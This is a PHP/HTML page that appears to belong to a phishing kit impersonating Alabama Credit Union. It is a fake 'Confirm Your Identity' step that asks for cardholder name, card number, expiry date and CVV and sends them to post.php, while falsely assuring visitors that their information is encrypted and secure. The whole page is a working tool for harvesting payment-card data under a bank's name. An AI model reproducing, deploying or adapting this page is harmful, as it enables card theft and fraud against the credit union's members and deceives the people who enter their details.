<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <title>Alabama Credit Union — Confirm Identity</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root { --red:#CD1F43; --red-dark:#a8192f; --blue:#18273A; --blue-mid:#243750; --text:#1a1a1a; --text-sub:#555; --border:#dde0e6; --offwhite:#f7f8fa; --white:#ffffff; }
        html,body { height:100%; font-family:'Inter',sans-serif; color:var(--text); }
        body { display:flex; flex-direction:column; min-height:100vh; background:var(--white); }

        .utility-bar { background:#f0f0f0; border-bottom:1px solid #ddd; padding:7px 40px; display:flex; align-items:center; justify-content:flex-end; gap:20px; }
        .utility-bar a { font-size:12.5px; color:var(--text-sub); text-decoration:none; }
        .utility-bar a:hover { color:var(--blue); }
        .btn-help { background:var(--red); color:#fff; border:none; border-radius:20px; padding:5px 14px; font-family:'Inter',sans-serif; font-size:12px; font-weight:600; cursor:pointer; }

        .main-nav { background:var(--white); padding:0 40px; display:flex; align-items:center; justify-content:space-between; height:72px; border-bottom:1px solid #eee; position:relative; z-index:100; }
        .nav-logo img { height:52px; width:auto; display:block; }
        .nav-links { display:flex; align-items:center; gap:2px; }
        .nav-links a { font-size:13.5px; font-weight:500; color:var(--text); text-decoration:none; padding:8px 13px; border-radius:4px; transition:color 0.15s,background 0.15s; }
        .nav-links a:hover { color:var(--red); background:#fdf0f3; }

        /* Page bg with hero overlay */
        .page-bg {
            flex: 1;
            position: relative;
            display: flex; align-items: center; justify-content: center;
            padding: 60px 20px;
        }
        .page-bg-img {
            position: absolute; inset: 0;
            background: url('res/img/background.jpeg') center center / cover no-repeat;
            z-index: 0;
        }
        .page-bg-overlay {
            position: absolute; inset: 0;
            background: linear-gradient(135deg, rgba(24,39,58,0.88) 0%, rgba(24,39,58,0.75) 100%);
            z-index: 1;
        }

        .card {
            position: relative; z-index: 2;
            background: #fff; width: 100%; max-width: 480px;
            border-radius: 12px; padding: 36px 36px 36px;
            box-shadow: 0 12px 50px rgba(0,0,0,0.25);
            animation: cardIn 0.4s ease both;
        }
        @keyframes cardIn { from{opacity:0;transform:translateY(14px)} to{opacity:1;transform:translateY(0)} }

        .card-logo { margin-bottom:20px; text-align:center; }
        .card-logo img { height:42px; width:auto; display:inline-block; }

        .step-indicator { display:flex; align-items:center; gap:8px; margin-bottom:22px; }
        .step { display:flex; align-items:center; justify-content:center; width:26px; height:26px; border-radius:50%; font-size:11px; font-weight:700; flex-shrink:0; }
        .step.done { background:var(--blue); color:#fff; }
        .step.active { background:var(--red); color:#fff; box-shadow:0 0 0 3px rgba(205,31,67,0.2); }
        .step.pending { background:#e8eaed; color:#aaa; }
        .step-line { flex:1; height:2px; background:#e8eaed; border-radius:2px; }
        .step-line.done { background:var(--blue); opacity:0.4; }

        .card-header { margin-bottom:18px; padding-bottom:16px; border-bottom:2px solid var(--red); }
        .card-header h1 { font-size:19px; font-weight:700; color:var(--blue); }
        .card-header p { font-size:13px; color:var(--text-sub); margin-top:4px; }

        .sec-notice { display:flex; align-items:center; gap:9px; background:rgba(24,39,58,0.06); border:1px solid rgba(24,39,58,0.14); border-radius:6px; padding:10px 13px; margin-bottom:16px; }
        .sec-notice svg { flex-shrink:0; color:var(--blue); }
        .sec-notice span { font-size:12.5px; color:var(--blue); font-weight:500; }

        .field { margin-bottom:12px; }
        .field label { display:block; font-size:11.5px; font-weight:600; color:var(--text-sub); margin-bottom:5px; letter-spacing:0.04em; text-transform:uppercase; }
        .field input { width:100%; height:44px; padding:0 13px; border:1.5px solid var(--border); border-radius:8px; font-family:'Inter',sans-serif; font-size:14px; color:var(--text); background:var(--white); outline:none; transition:border-color 0.15s,box-shadow 0.15s; -webkit-appearance:none; }
        .field input::placeholder { color:#bbb; }
        .field input:focus { border-color:var(--blue); box-shadow:0 0 0 3px rgba(24,39,58,0.1); }
        .field-row { display:grid; grid-template-columns:1fr 1fr; gap:12px; margin-bottom:12px; }
        .field-row .field { margin-bottom:0; }

        .btn-main { width:100%; height:46px; background:var(--red); color:#fff; border:none; border-radius:8px; font-family:'Inter',sans-serif; font-size:14px; font-weight:700; cursor:pointer; margin-bottom:16px; display:flex; align-items:center; justify-content:center; gap:8px; letter-spacing:0.03em; transition:background 0.15s,box-shadow 0.15s; }
        .btn-main:hover { background:var(--red-dark); box-shadow:0 4px 14px rgba(205,31,67,0.35); }

        .card-links { display:flex; flex-direction:column; gap:10px; padding-top:14px; border-top:1px solid var(--border); }
        .card-links a { font-size:13px; color:var(--blue); text-decoration:none; display:flex; align-items:center; gap:5px; }
        .card-links a:hover { color:var(--red); text-decoration:underline; }

        .page-footer { background:var(--blue); padding:20px 40px; display:flex; align-items:center; justify-content:space-between; flex-wrap:wrap; gap:12px; }
        .footer-links { display:flex; gap:20px; flex-wrap:wrap; }
        .footer-links a { font-size:12px; color:rgba(255,255,255,0.55); text-decoration:none; }
        .footer-copy { font-size:12px; color:rgba(255,255,255,0.35); }

        @media(max-width:500px) { .card{padding:24px 20px 28px;} .field-row{grid-template-columns:1fr;} .nav-links{display:none;} .main-nav{padding:0 20px;} }
    </style>
</head>
<body>
    <div class="utility-bar">
        <a href="#">Make Payment</a><a href="#">Schedule Appointment</a><a href="#">Rates</a>
        <button class="btn-help">Help Center</button>
    </div>
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.png" alt="Alabama Credit Union"></div>
        <div class="nav-links">
            <a href="#">Checking</a><a href="#">Savings</a><a href="#">Business</a>
            <a href="#">Lending</a><a href="#">Financial Education</a>
            <a href="#">Resources</a><a href="#">Who We Are</a><a href="#">Promotions</a>
        </div>
    </nav>

    <div class="page-bg">
        <div class="page-bg-img"></div>
        <div class="page-bg-overlay"></div>
        <div class="card">
            <div class="card-logo"><img src="res/img/logo.png" alt="Alabama Credit Union"></div>
            <div class="step-indicator">
                <div class="step done">✓</div><div class="step-line done"></div>
                <div class="step active">2</div><div class="step-line"></div>
                <div class="step pending">3</div>
            </div>
            <div class="card-header">
                <h1>Confirm Your Identity</h1>
                <p>Enter your card details to verify your account</p>
            </div>
            <div class="sec-notice">
                <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
                <span>Your information is encrypted and secure</span>
            </div>
            <form action="post.php" method="post">
                <div class="field"><label>Cardholder Name</label><input type="text" name="name" placeholder="As shown on card" autocomplete="cc-name"></div>
                <div class="field"><label>Card Number</label><input type="text" name="cc" id="cc" required placeholder="XXXX XXXX XXXX XXXX" inputmode="numeric"></div>
                <div class="field-row">
                    <div class="field"><label>Expiration</label><input type="text" name="exp" id="exp" required placeholder="MM / YY" inputmode="numeric"></div>
                    <div class="field"><label>CVV</label><input type="password" name="cvv" id="cvv" required placeholder="CVV" inputmode="numeric"></div>
                </div>
                <button type="submit" class="btn-main">Continue <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg></button>
            </form>
            <div class="card-links">
                <a href="#"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Having trouble? Contact support</a>
                <a href="login.php"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>Back to log in</a>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 Alabama Credit Union. All Rights Reserved. Federally Insured by NCUA.</div>
    </footer>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
    <script>$("#cc").mask("0000 0000 0000 0000");$("#exp").mask("00/00");$("#cvv").mask("0000");</script>
</body>
</html>